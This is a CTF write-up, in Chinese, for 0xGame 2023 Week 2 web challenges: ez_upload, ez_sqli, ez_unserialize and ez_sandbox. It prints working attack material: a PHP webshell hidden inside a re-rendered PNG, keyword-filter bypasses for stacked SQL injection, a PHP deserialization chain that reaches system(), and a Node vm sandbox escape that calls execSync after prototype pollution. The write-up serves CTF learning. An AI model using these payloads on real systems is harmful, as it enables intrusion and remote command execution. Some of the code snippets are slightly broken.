Writeup_2023_0xGame_Week2

0xGame第二周,在师傅已经给了大量提示的情况下只做出两个题:(


[Week 2] ez_upload

根据题目猜测任意文件上传,先打开题目的附件看看有啥东西,发现会对上传的文件利用imagecreatefrom点点点()image点点点()进行二次渲染,主要部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
switch ($_FILES['file']['type']) { //获得文件类型,content-type,上传一句话修改文件类型即可绕狗
case "image/gif":
$source = imagecreatefromgif($_FILES['file']['tmp_name']);//刚刚上传的GIF,给source
break;
case "image/jpeg":
$source = imagecreatefromjpeg($_FILES['file']['tmp_name']);//同上
break;
case "image/png":
$source = imagecreatefrompng($_FILES['file']['tmp_name']);//同上
break;
default:
die('Invalid file type!');
}

$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); //获得文件后缀,当出现多个 . 时,结果为最后一个 . 后面的内容。
$filepath = $user_dir.md5($_FILES['file']['name']).'.'.$ext; //将文件原始名md5加密后和user_dir拼接,后面加个.后缀。这东西作为文件的存储路径

switch ($_FILES['file']['type']) { //再次检验文件类型
case "image/gif":
imagegif($source, $filepath);//将$source保存到$filepath中,
break;
case "image/jpeg": //同上
imagejpeg($source, $filepath);
break;
case "image/png"://同上
imagepng($source, $filepath);
break;
default:
die('Invalid file type!');
}

echo 'Upload avatar success! Path: '.$filepath;
?>

去网上查了有关二次渲染绕过的资料,发现有些题目是二次渲染配合include函数再上传图片马,但这题没给include函数?根据师傅的提示搜索了生成用于绕过二次渲染的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

放本地运行一下,生成1.png,放到HexCmp下看看:

ul1

有这么个东西:

<?=$_GET[0]($_POST[1]);?>//GET0传函数名,POST1传参数

先后缀改成php,上传时抓包把content-type字段改成image/png,发现上传成功,访问URL:

ul2

成功,GET传参0=systemPOST传参1=ls;,先看当前目录下的文件:

ul3

GET传参0=systemPOST传参1=ls /;,看根目录下的文件:

ul4

GET传参0=systemPOST传参1=cat /flag;,得到flag:

0xGame{4611f622-8577-4ac4-8f85-0b787730800c}

[Week 2] ez_sqli

url:http://120.27.148.152:50021/?order=email,师傅提示是堆叠注入,而且直接select flag from flag就能拿答案。

给了附件,看下源码里黑名单都有啥:

blacklist = ['select', 'update', 'insert', 'delete', 'database', 'table', 'column', 'alter', 'create', 'drop', 'and', 'or', 'xor', 'if', 'else', 'then', 'where']

?order=id;show tables这种没法用了,根据师傅提示可以使用prepareexecute结合执行,有:

1
2
3
SET @a=select extractvalue(1,concat(0x7e,select flag from flag limit 0,1));
PREPARE hello FROM @a;
EXECUTE hello;#

但select被过滤掉了,空格好像也不能直接用?借助char()函数直接把第一段全转成字符:

1
2
3
4
SET @a=CHAR(115,101,108,101,99,116,32,101,120,116,114,97,99,116,118,97,108,117,101,40,49,44,99,111,110,99,97,116,40,48,120,55,101,44,40,115,101,108,101,99,116,32,102,108,97,103,32,102,114,111,109,32,102,108,97,103,32,108,105,109,105,116,32,48,44,49,41,41,41,41,59);
PREPARE hello FROM @a;
EXECUTE hello;#

SET @a=CHAR(115,101,108,101,99,116,32,101,120,116,114,97,99,116,118,97,108,117,101,40,49,44,99,111,110,99,97,116,40,48,120,55,101,44,40,115,101,108,101,99,116,32,102,108,97,103,32,102,114,111,109,32,102,108,97,103,32,108,105,109,105,116,32,48,44,49,41,41,41,59);PREPARE/**/hello/**/FROM/**/@a;EXECUTE/**/hello;

sqli1

返回:XPATH syntax error: '~0xGame{4286b62d-c37e-4010-ba9c-'"),没显示完全,好像因为报错函数只能显示32位?改下payload让它显示flag的后30位:flag->(right(flag,30))

1
/?order=email;SET @a=CHAR(115,101,108,101,99,116,32,101,120,116,114,97,99,116,118,97,108,117,101,40,49,44,99,111,110,99,97,116,40,48,120,55,101,44,40,115,101,108,101,99,116,32,40,114,105,103,104,116,40,102,108,97,103,44,51,48,41,41,32,102,114,111,109,32,102,108,97,103,32,108,105,109,105,116,32,48,44,49,41,41,41,59);PREPARE/**/hello/**/FROM/**/@a;EXECUTE/**/hello;

sqli2

拼起来得到flag:0xGame{4286b62d-c37e-4010-ba9c-35d47641fb91}

[Week 2] ez_unserialize

这题没做出来挺可惜的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
 <?php

show_source(__FILE__);

class Cache {
public $key;
public $value;
public $expired;
public $helper;

public function __construct($key, $value, $helper) {
$this->key = $key;
$this->value = $value;
$this->helper = $helper;

$this->expired = False;
}

public function __wakeup() { //强行把expired设置False,之前碰到都是利用修改属性个数绕过,但师傅提示需通过引用绕过
$this->expired = False;
}

public function expired() {
if ($this->expired) { //如果expired为True
$this->helper->clean($this->key);//clean?好像是一个不存在的方法,通过这个调用__call
return True; //返回True
} else {
return False;
}
}
}

class Storage {
public $store;

public function __construct() {
$this->store = array();//将一个空数组赋值给store
}

public function __set($name, $value) {//给不可访问属性赋值时被调用
if (!$this->store)
$this->store = array();
}

if (!$value->expired()) {
$this->store[$name] = $value;
}
}

public function __get($name) {
return $this->data[$name];
}
}

class Helper {
public $funcs;

public function __construct($funcs) {
$this->funcs = $funcs;//system函数
}

public function __call($name, $args) { //链子的尾,通过这个执行命令
$this->funcs[$name](...$args); //system('ls')等?
}
}

class DataObject {
public $storage;
public $data;

public function __destruct() { //链子的头
foreach ($this->data as $key => $value) {//遍历data数组,键key值value
$this->storage->$key = $value;//将storage对象的$key属性赋值为$value,注意此时可以去触发Storage的__set方法.(给不可访问的属性赋值)
}
}
}

if (isset($_GET['u'])) {
unserialize($_GET['u']);//反序列化
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

class Cache {
public $key;
public $value;
public $expired;
public $helper;
}
class Storage {
public $store;
}

class Helper {
public $funcs;
}
class DataObject {
public $storage;
public $data;
}

$a = new DataObject();
$b = new Storage();
$c = new Cache();
$c -> expired = False;
$d = new Cache();
$e = new Helper();
$a-> data = array('key1' => $c, 'key2' => $d);//放入Cache1和Cache2,两个实例
$a-> storage = $b; //这里触发了Storage中的__set方法
$b-> store = &$d->expired;//通过引用赋值绕过__wakeup,store和$d指向相同的内存地址
$d -> key = 'id';
$d-> helper = $e;
$e-> $funcs = ['clean' => 'system'];
echo serialize($a);
?>
1
2
3
4
5


DataObject.__destruct() -> Storage.__set() -> Cache.expired() -> Helper.__call()


1
参考文章:ttps://zhuanlan.zhihu.com/p/377676274
1
2
3
4
pear:
https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/register_argc_argv%E4%B8%8Einclude%20to%20RCE%E7%9A%84%E5%B7%A7%E5%A6%99%E7%BB%84%E5%90%88/
https://blog.csdn.net/RABCDXB/article/details/122050370

[Week 2] ez_sandbox

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
secret: crypto.randomBytes(64).toString('hex'),
resave: false,
saveUninitialized: true
}))

var users = {}
var admins = {}

function merge(target, source) { //merge,原型链污染
for (let key in source) {
if (key === '__proto__') {//这里过滤了__protp__
continue//中断迭代,进入下一次循环
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(source) { //同上
return merge({}, source)
}

function waf(code) {
let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
for (let v of blacklist) {
if (code.includes(v)) {
throw new Error(v + ' is banned')
}
}
}

function requireLogin(req, res, next) {
if (!req.session.user) {
res.redirect('/login')
} else {
next()
}
}

app.use(function(req, res, next) {
for (let key in Object.prototype) {
delete Object.prototype[key]
}
next()
})

app.get('/', requireLogin, function(req, res) {
res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
let { username, password } = clone(req.body)

if (username in users && password === users[username]) {
req.session.user = username

if (username in admins) {
req.session.role = 'admin'
} else {
req.session.role = 'guest'
}

res.send({
'message': 'login success'
})
} else {
res.send({
'message': 'login failed'
})
}
})

app.post('/register', function(req, res) {
let { username, password } = clone(req.body)

if (username in users) {
res.send({
'message': 'register failed'
})
} else {
users[username] = password
res.send({
'message': 'register success'
})
}
})

app.get('/profile', requireLogin, function(req, res) {
res.send({
'user': req.session.user,
'role': req.session.role
})
})

app.post('/sandbox', requireLogin, function(req, res) {
if (req.session.role === 'admin') {
let code = req.body.code
let sandbox = Object.create(null)
let context = vm.createContext(sandbox)

try {
waf(code)
let result = vm.runInContext(code, context)
res.send({
'result': result
})
} catch (e) {
res.send({
'result': e.message
})
}
} else {
res.send({
'result': 'Your role is not admin, so you can not run any code'
})
}
})

app.get('/logout', requireLogin, function(req, res) {
req.session.destroy()
res.redirect('/login')
})

app.listen(3000, function() {
console.log('server start listening on :3000')
})

先看和原型链污染有关的部分:

1
2
3
4
5
6
7
8
9
10
11
12
app.post('/login', function(req, res) {
let { username, password } = clone(req.body) //解构赋值,从req.body对象中提取username和password属性值,并将它们分别赋值给变量username和password。

if (username in users && password === users[username]) {
req.session.user = username

if (username in admins) { //目的是拿到admin角色
req.session.role = 'admin'
} else {
req.session.role = 'guest'
}
//clone(req.body)看成merge({}, req.body)。利用req.body污染admins即可

POST包中增加如下:

1
2
3
4
{"username": "test","password": "123","__proto__":{"test":"123"}}}
//__proto__被过滤,通过"constructor": {"prototype": 绕过即可
{"username": "test","password": "123","constructor": {"prototype": {"test":"123"}}}
//存在admins.__proto__.test=123,username='test',使得username in admins成立

结果:

sb2

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
throw new Proxy({}, { 
get: function(){
const c = arguments.callee.caller
const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('ls /').toString();
}
})

let obj = {}
obj.__defineGetter__('message', function(){
const c = arguments.callee.caller
const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
})
throw obj

Writeup_2023_0xGame_Week2
http://example.com/2023/10/01/[Week 2] ez_upload/
作者
notbad3
发布于
2023年10月1日
许可协议